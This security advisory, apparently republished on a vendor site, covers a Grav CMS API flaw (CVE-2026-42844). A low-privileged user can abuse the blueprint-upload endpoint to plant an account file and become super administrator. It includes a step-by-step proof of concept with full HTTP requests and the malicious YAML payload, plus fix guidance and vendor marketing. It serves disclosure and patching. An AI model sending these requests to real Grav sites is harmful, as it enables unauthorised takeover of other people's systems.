Summary
Low-privileged Grav API users can create super-admin accounts via blueprint-upload
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
user/plugins/api/classes/Api/ApiRouter.php:261user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417user/plugins/api/classes/Api/Controllers/AuthController.php:41-55
The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
destination=self@:scope=users/anything
The server resolves the write target to the shared account directory:
user/accounts/
The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
access:
api:
access: true
media:
write: true
PoC
Step 1: Authenticate as the low-privileged API user
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"uploader","password":"Upload123A"}
Extract:
UPLOADER_TOKEN = <access_token from response>
Attachment:
Step 2: Upload a malicious account YAML file
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close
------CodexBoundaryF01
Content-Disposition: form-data; name="destination"
self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"
users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml
email: [email protected]
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
site:
login: true
api:
super: true
------CodexBoundaryF01--
Expected result:
{
"data": [
{
"name": "pwned.yaml",
"path": "user/accounts/pwned.yaml"
}
]
}
Attachment:
Step 3: Log in as the newly created account
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close
{"username":"pwned","password":"Passw0rd!123"}
Expected result:
{
"data": {
"user": {
"username": "pwned",
"super_admin": true
}
}
}
Attachment:
Step 4: Verify privileged API access
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close
Expected result:
The request succeeds and returns system-level information.
Attachment:
Impact
This is an authenticated vertical privilege-escalation vulnerability.
Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:
- modify content
- alter configuration
- manage users
- install or update plugins/themes
- access system-level administration features
In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.
This issue was reproduced locally:
- the upload response returned
user/accounts/pwned.yaml - logging in as
pwnedsucceeded - the new account had
super_admin = true - privileged endpoints such as
/api/v1/system/infowere accessible
The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-42844? CVE-2026-42844 is a high-severity improper privilege management vulnerability in getgrav/grav (composer), affecting versions < 2.0.0-beta.4. It is fixed in 2.0.0-beta.4. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
- Which versions of getgrav/grav are affected by CVE-2026-42844? getgrav/grav (composer) versions < 2.0.0-beta.4 is affected.
- Is there a fix for CVE-2026-42844? Yes. CVE-2026-42844 is fixed in 2.0.0-beta.4. Upgrade to this version or later.
- Is CVE-2026-42844 exploitable, and should I be worried? Whether CVE-2026-42844 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-42844 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-42844? Upgrade
getgrav/gravto 2.0.0-beta.4 or later.